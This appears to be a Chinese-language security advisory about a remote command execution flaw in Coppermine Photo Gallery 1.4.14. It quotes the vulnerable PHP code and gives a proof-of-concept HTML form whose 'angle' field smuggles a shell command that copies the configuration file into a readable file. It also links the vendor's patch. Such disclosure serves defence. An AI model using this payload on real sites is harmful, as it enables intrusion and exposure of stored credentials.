Coppermine Photo Gallery远程命令执行漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01134
BUGTRAQ: 27512

影响版本:
Coppermine Photo Gallery 1.4.14

程序介绍:

Coppermine是用PHP编写的多用途集成web图形库脚本。

漏洞分析:

Coppermine在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在用户系统上执行任意命令。

Coppermine的include/imageObjectIM.class.php文件中没有正确地验证用户所提交的quality、angle和clipval POST变量。在ImageMagick的包装函数中:

 
  1. function rotateImage($angle){  
  2. ...  
  3.     $imgFile = escapeshellarg("$this->directory$this->filename");  
  4. ...  
  5.     $cmd = "{$CONFIG['impath']}convert -quality {$this->quality}  
  6. {$CONFIG['im_options']} -rotate $angle $imgFile $imgFile";  
  7.     exec ($cmd$output$retval);  

可见未经过滤便在命令行中使用了$angle变量。在picEditor.php文件的123行:

 
  1. ...  
  2.    $newimage = $_POST['newimage'];  
  3. ...  
  4.    if ($newimage){  
  5.       $imgObj = new imageObject($img_dir,$newimage);  
  6. ...  
  7.       if ($imgObj->imgRes){  
  8. ...  
  9.           if ($_POST['angle']<>0){  
  10.                   $imgObj = $imgObj->rotateImage($_POST['angle']);  
  11.           }  

因此如果提交了正确的$_POST['newimage']和$_POST['angle'],就会导致注入shell命令。



漏洞利用:

 
  1. <html><body><center>  
  2. <form action="http://victim.com/cpg1414/picEditor.php" method="post">  
  3. <input type="hidden" name="newimage" value="../../images/thumb_zip.jpg">  
  4. <input type="hidden" name="quality" value="50">  
  5. <input type="hidden"   
  6. name="angle" value="180;cp include/config.inc.php include/secret.txt;">  
  7. <input type="submit" value="Test!">  
  8. </form>  
  9. </center></body></html>  
 

解决方案:
厂商补丁:
Coppermine
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://downloads.sourceforge.net/coppermine/cpg1.4.15.zip

信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)

链接:http://secunia.com/advisories/28682/
http://marc.info/?l=bugtraq&m=120171066907290&w=2
http://coppermine-gallery.net/fo ... tpage;topic=50103.0
*>